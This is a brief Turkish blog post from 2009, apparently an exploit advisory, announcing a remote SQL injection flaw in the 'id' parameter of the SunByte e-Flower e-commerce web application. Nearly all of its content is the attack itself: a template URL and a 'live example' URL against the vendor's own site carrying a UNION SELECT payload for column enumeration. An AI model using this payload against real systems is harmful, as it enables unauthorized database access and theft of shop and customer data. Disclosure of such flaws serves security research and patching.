20 Haziran 2009 Cumartesi

SunByte e-Flower (id) Remote SQL Injection Güvenlik Açığı

http://www.sunbyte.net/
Sunbyte E-Çiçek [ E-Ticaret WebApp ]
http://www.sunbyte.net/products/index.php?screen=eflower
SQL ENJEKSİYON

# Örnek :
Http://localhost/sunbyte/popupproduct.php?id = [UR Burada]

# Canlı Örnek :

Http://www.sunbyte.net/florist/popupproduct.php?id=1337+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12

0 yorum: